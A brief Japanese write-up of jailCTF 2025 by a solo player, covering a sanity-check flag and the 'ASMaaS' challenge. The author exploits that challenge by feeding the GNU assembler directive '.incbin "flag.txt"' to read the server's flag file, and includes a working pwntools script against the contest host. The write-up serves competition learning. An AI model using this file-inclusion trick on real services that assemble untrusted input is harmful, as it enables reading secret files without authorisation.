jailCTF 2025 writeup
jailCTF 2025 にソロで参加したので振り返り用の writeup.
一問しか解けなかったのが悔しい
フラグ形式
jail{}
sanity check
- discord のルールを読むと, このチャンネルの一番先頭のメッセージをコピーしてみてとあるのでしてみるとフラグが出てきた
ASMaaS
- 入力を
pwntoolsのasm関数でシェルコードに変換し, コンパイルが成功すれば 16 進数で結果を出力するというサービス (Assembly as a service) - 調べたところ asm 関数は内部的に
/usr/bin/x86_64-linux-gnu-asを使用している (リモートにテキトウな文字列を与えるとエラーコードに下記のようなコードを実行していることが記述されていた)
['/usr/bin/x86_64-linux-gnu-as', '-64', '-o', '/tmp/pwn-asm-_u85w9oy/step2', '/tmp/pwn-asm-_u85w9oy/step1']
gnu assembler では
.incbinというディレクティブでファイルのインクルードが可能らしい (参考)次のコードで同じディレクトリの
flag.txtをインクルードできることが確認でき, リモートサーバーからフラグを読み出すことができた
from pwn import * asm_text = r'.incbin "flag.txt"' shellcode = asm(asm_text, arch='amd64', os='linux') print(shellcode.hex(' ')) hex_list = shellcode.hex(' ').split() for h in hex_list: print(chr(int(h, 16)), end="") print() host = "challs2.pyjail.club" port = 18995 sh = remote(host, port) sh.recvuntil(">".encode()) sh.sendline(asm_text.encode()) prompt = sh.recvline("X86!".encode()) print(prompt.decode()) raw_list = sh.recvline().decode().split() hex_list = [int(x,16) for x in raw_list] for h in hex_list: print(chr(h), end="") print() sh.interactive()